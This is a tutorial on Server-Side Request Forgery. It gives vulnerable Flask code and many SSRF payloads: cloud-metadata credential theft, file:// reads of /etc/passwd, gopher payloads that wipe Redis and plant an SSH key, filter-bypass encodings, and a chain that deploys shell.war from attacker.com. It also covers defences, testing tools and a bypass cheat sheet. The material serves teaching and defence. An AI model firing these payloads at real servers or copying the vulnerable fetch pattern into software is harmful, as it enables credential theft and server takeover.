Complete guide to understanding, exploiting, and preventing Server-Side Request Forgery attacks
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. When exploited, SSRF can enable attackers to:
SSRF has become increasingly dangerous in cloud environments and is part of the OWASP Top 10 (#10 in 2021). It's critical because:
SSRF occurs when an application fetches a remote resource based on user-supplied input without proper validation:
# VULNERABLE CODE
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
# User controls the URL - DANGEROUS!
url = request.args.get('url')
response = requests.get(url)
return response.text
An attacker provides a URL pointing to internal resources or cloud metadata endpoints:
# Legitimate use:
GET /fetch?url=https://example.com/image.jpg
# Attack - Access AWS metadata:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Attack - Access internal service:
GET /fetch?url=http://localhost:8080/admin/delete-all-users
# Attack - Read local files (if supported):
GET /fetch?url=file:///etc/passwd
Direct response is returned to the attacker:
http://example.com/proxy?url=http://internal-api/users
http://example.com/avatar?url=http://localhost/admin
No direct response, attacker must use out-of-band techniques:
# Internal service responds quickly
?url=http://192.168.1.5:80
# Non-existent host times out
?url=http://192.168.1.99:80
?url=http://attacker.com/callback
Partial information leakage through error messages or status codes:
# Different errors reveal information
200 OK - Service exists and responded
404 Not Found - Service exists but endpoint invalid
Connection Timeout - Host/port unreachable
# AWS - Instance Metadata Service (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
# AWS - User data (may contain secrets)
http://169.254.169.254/latest/user-data
# Google Cloud Platform
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires header: Metadata: true
# Digital Ocean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1.json
# Port scanning
for port in range(1, 1000):
url = f"http://192.168.1.5:{port}"
# Check response time or status
# Common internal targets
http://localhost:80 # Web server
http://localhost:8080 # Application server
http://localhost:3306 # MySQL
http://localhost:5432 # PostgreSQL
http://localhost:6379 # Redis
http://localhost:9200 # Elasticsearch
http://127.0.0.1:8443 # Admin interface
# Private network ranges
http://10.0.0.0/8
http://172.16.0.0/12
http://192.168.0.0/16
Exploiting different URL schemes:
# File protocol (read local files)
file:///etc/passwd
file:///c:/windows/win.ini
# Gopher protocol (can send arbitrary TCP data)
gopher://localhost:6379/_SET%20key%20value
# Dict protocol (probe services)
dict://localhost:11211/stats
# LDAP protocol
ldap://localhost:389/%0astats%0aquit
# SFTP/FTP
ftp://internal-ftp-server/
sftp://internal-server/
# Redis exploitation via Gopher
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a...
# Exploit internal Tomcat manager
http://internal-tomcat:8080/manager/deploy?war=http://attacker.com/shell.war
# Memcached exploitation
gopher://localhost:11211/_set%20payload%200%200%2010%0d%0amalicious
# Exploiting internal services
http://internal-jenkins/script
http://internal-docker/containers/json
# Step 1: SSRF to access internal admin panel
http://internal-admin/create-user
# Step 2: Use created user to access higher privileges
http://internal-admin/grant-admin?user=attacker
# Step 3: Use admin to deploy malicious code
http://internal-admin/deploy?url=http://attacker.com/shell.war
# Decimal encoding
http://2130706433/ = http://127.0.0.1/
# Octal encoding
http://0177.0.0.1/ = http://127.0.0.1/
# Hexadecimal encoding
http://0x7f.0x0.0x0.0x1/ = http://127.0.0.1/
# Mixed encoding
http://0177.0.0.1/ = http://127.0.0.1/
# Integer conversion
http://3232235777/ = http://192.168.1.1/
# IPv6
http://[::1]/ = http://localhost/
http://[0:0:0:0:0:ffff:127.0.0.1]/
# Setup DNS that resolves to different IPs
# First request: Returns whitelisted IP (8.8.8.8)
# Second request: Returns internal IP (192.168.1.1)
# Attacker's DNS:
attacker.com -> 8.8.8.8 (TTL: 0)
attacker.com -> 192.168.1.1 (on next lookup)
# @ character tricks
http://expected-host@internal-host/
http://expected-host%00@internal-host/
# Backslash vs forward slash
http://expected-host\@internal-host/
# URL encoding
http://127.0.0.1%23@expected-host/
http://expected-host#@127.0.0.1/
# Open redirect abuse
http://trusted-site.com/redirect?url=http://169.254.169.254/
# Unicode/IDN homograph
http://127.0.0.1 (using Cyrillic characters)
# If "127.0.0.1" is blacklisted:
http://localhost/
http://0.0.0.0/
http://127.1/
http://127.0.1/
http://[::1]/
http://2130706433/
# If "localhost" is blacklisted:
http://localtest.me/ (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://vcap.me/
http://lvh.me/
# If "169.254.169.254" is blacklisted:
http://[::ffff:169.254.169.254]/
http://0251.0376.0251.0376/ (octal)
http://instance-data/ (AWS link-local name)
# Mixed case
FILE:///etc/passwd
HtTp://localhost/
# Alternative protocols
jar:http://internal-host!/
tftp://internal-host/
php://filter/convert.base64-encode/resource=http://internal
✅ THE PRIMARY DEFENSE
from urllib.parse import urlparse
ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['https']
def is_safe_url(url):
try:
parsed = urlparse(url)
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# Check hostname
if parsed.hostname not in ALLOWED_HOSTS:
return False
# Check for username (@ tricks)
if parsed.username:
return False
return True
except Exception:
return False
# Usage
url = request.args.get('url')
if is_safe_url(url):
response = requests.get(url, timeout=5)
else:
abort(400, "Invalid URL")
import ipaddress
def is_private_ip(hostname):
"""Check if hostname resolves to private IP"""
try:
ip = ipaddress.ip_address(hostname)
return (
ip.is_private or
ip.is_loopback or
ip.is_link_local or
ip.is_multicast or
ip.is_reserved
)
except ValueError:
# Not an IP, resolve hostname
import socket
try:
resolved_ip = socket.gethostbyname(hostname)
return is_private_ip(resolved_ip)
except socket.gaierror:
return True # Deny if can't resolve
# Usage
parsed = urlparse(url)
if is_private_ip(parsed.hostname):
abort(400, "Access to private IPs is forbidden")
# Instead of accepting URLs, use IDs
ALLOWED_RESOURCES = {
'1': 'https://api.example.com/data1',
'2': 'https://cdn.example.com/image1.jpg',
'3': 'https://partner.com/resource'
}
@app.route('/fetch')
def fetch_resource():
resource_id = request.args.get('id')
if resource_id not in ALLOWED_RESOURCES:
abort(400, "Invalid resource ID")
url = ALLOWED_RESOURCES[resource_id]
response = requests.get(url, timeout=5)
return response.text
# Docker network isolation
version: '3'
services:
web:
networks:
- public
# Cannot access internal services
internal-api:
networks:
- internal
# Not accessible from web service
networks:
public:
internal:
import requests
# Create custom session with restricted protocols
session = requests.Session()
session.mount('file://', None) # Disable file://
session.mount('ftp://', None) # Disable ftp://
session.mount('gopher://', None) # Disable gopher://
# Only allow HTTP/HTTPS
if not url.startswith(('http://', 'https://')):
abort(400, "Invalid protocol")
response = session.get(url, timeout=5)
def fetch_url_safely(url):
# Validate URL first
if not is_safe_url(url):
abort(400)
try:
# Set timeout
response = requests.get(
url,
timeout=5,
allow_redirects=False, # Prevent redirect bypass
stream=True
)
# Check content type
content_type = response.headers.get('Content-Type', '')
if 'image/' not in content_type:
abort(400, "Invalid content type")
# Limit response size
max_size = 10 * 1024 * 1024 # 10MB
if int(response.headers.get('Content-Length', 0)) > max_size:
abort(400, "File too large")
return response.content
except requests.RequestException:
abort(500, "Failed to fetch resource")
# AWS IMDSv2 requires session token (prevents SSRF)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Block access to metadata service from application servers
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# Allow only specific services to access internal network
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
# Test if server makes requests
# Use a service like webhook.site or Burp Collaborator
?url=http://YOUR-CALLBACK-URL.com
# Test localhost access
?url=http://localhost/
?url=http://127.0.0.1/
# Test metadata endpoints
?url=http://169.254.169.254/latest/meta-data/
# Test different ports
?url=http://localhost:22 # SSH - should timeout or refuse
?url=http://localhost:80 # HTTP - should respond
?url=http://localhost:443 # HTTPS
?url=http://localhost:3306 # MySQL
?url=http://localhost:6379 # Redis
# Measure response times to identify open ports
# Test different schemes
?url=file:///etc/passwd
?url=gopher://localhost:6379/
?url=dict://localhost:11211/
?url=ftp://internal-ftp/
Comprehensive SSRF exploitation tool:
# Install
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip install -r requirements.txt
# Basic scan
python ssrfmap.py -r request.txt -p url
# With specific module
python ssrfmap.py -r request.txt -p url -m readfiles
# AWS metadata exploitation
python ssrfmap.py -r request.txt -p url -m aws
# Self-hosted out-of-band interaction server
# Install
GO111MODULE=on go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start client
interactsh-client
# Use the generated URL in SSRF tests
?url=http://GENERATED-ID.interact.sh
Search for these vulnerable patterns:
# Python
grep -r "requests.get.*request\." .
grep -r "urllib.request.*request\." .
grep -r "httplib.*request\." .
# Node.js
grep -r "http.get.*req\." .
grep -r "axios.*req\." .
grep -r "fetch.*req\." .
# PHP
grep -r "file_get_contents.*\$_" .
grep -r "curl_exec.*\$_" .
grep -r "fopen.*\$_" .
# Java
grep -r "URL.*request" .
grep -r "HttpClient.*request" .
# Check if metadata endpoints require headers
curl http://169.254.169.254/latest/meta-data/
# Should fail without proper headers
# Google Cloud requires header
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/
# Azure requires header
curl -H "Metadata: true" http://169.254.169.254/metadata/instance
# Step 1: Identify SSRF in image upload
POST /api/upload
{
"image_url": "http://169.254.169.254/latest/meta-data/"
}
# Step 2: Enumerate IAM roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 3: Extract credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
# Step 4: Use credentials to access AWS services
aws s3 ls --profile stolen-creds
# Craft Gopher payload to write SSH key to Redis
?url=gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0d%0a%0d%0assh-rsa%20AAAAB3...%0d%0a%0d%0a%0d%0a*4%0d%0a...
# This writes attacker's SSH key allowing server access
# Cloud Metadata Services
http://169.254.169.254/latest/meta-data/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance # Azure
# Localhost variations
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://127.1/
http://2130706433/
# Private network ranges
http://10.0.0.1/
http://172.16.0.1/
http://192.168.1.1/
# Common internal services
http://localhost:6379/ # Redis
http://localhost:3306/ # MySQL
http://localhost:5432/ # PostgreSQL
http://localhost:9200/ # Elasticsearch
http://localhost:8080/ # Admin panels
http://localhost:27017/ # MongoDB
# IP encoding
127.0.0.1 = 0177.0.0.1 (octal)
127.0.0.1 = 0x7f.0x0.0x0.0x1 (hex)
127.0.0.1 = 2130706433 (decimal)
127.0.0.1 = 127.1 (shorthand)
# URL tricks
http://expected@internal/
http://expected%00@internal/
http://expected\@internal/
# DNS aliases (resolve to 127.0.0.1)
http://localtest.me/
http://127.0.0.1.nip.io/
http://vcap.me/
http://lvh.me/
http://sslip.io/
# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/